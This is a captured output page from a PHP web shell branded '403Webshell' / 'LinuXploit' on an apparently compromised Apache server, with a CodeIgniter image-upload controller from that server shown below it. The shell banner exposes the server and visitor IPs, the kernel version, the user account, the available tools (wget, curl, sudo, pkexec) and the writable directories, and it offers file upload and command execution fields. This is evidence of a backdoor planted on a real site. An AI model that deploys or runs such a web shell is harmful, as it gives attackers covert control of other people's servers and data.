403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 8.2.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/pundarikanail.com-bk/wadmin/components/file_manager/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/pundarikanail.com-bk/wadmin/components/file_manager/controllers/multi_upload.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Multi_Upload extends MX_Controller
{
	protected $_templates;
	function __construct()
	{
        parent::__construct();
        $this->pre_message = "";
        $this->load->model('image_model','image');
        $this->lang->load('file_image');
	}
	
    public function do_upload()
	{
        $options = array(
            'upload_dir' => ROOT_IMG.'temp/',
            'upload_url' => urlimg.'temp/');
        $this->load->library('multiupload/UploadHandler',$options);
    }
	
    function create_dir()
	{
        $y_m_dir = date('Y').'/'.date('m');
        $str_dir = ROOT_IMG.'images/'.$y_m_dir.'/'; 
        if(!is_dir($str_dir)){
            @mkdir($str_dir,0777, true);
        }
        return $y_m_dir;
    }
	
    public function do_upload_images()
	{
        $options = array(
            /*'upload_dir' => '../uploads/images/'.$this->create_dir().'/',
            'upload_url' => base_url_site().'uploads/images/'.$this->create_dir().'/',
            'script_url' => base_url().'file_manager/multi_upload/do_upload_action'*/
			'upload_dir' => ROOT_IMG.'images/'.$this->create_dir().'/',
            'upload_url' => urlimg.'images/'.$this->create_dir().'/',
            'script_url' => base_url().'file_manager/multi_upload/do_upload_action'
		);
        $this->load->library('multiupload/UploadHandler',$options);
    }
	
    public function do_upload_action()
	{
        $file_name = $this->input->get('file');
        $rs = $this->image->getFileByName($file_name);
        if($rs)
		{
            if(unlink(ROOT_IMG.'images/'.$rs->lb_dir.'/'.$rs->lb_name))
			{
                $this->image->delete($rs->image_data_id);
            }
        }
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit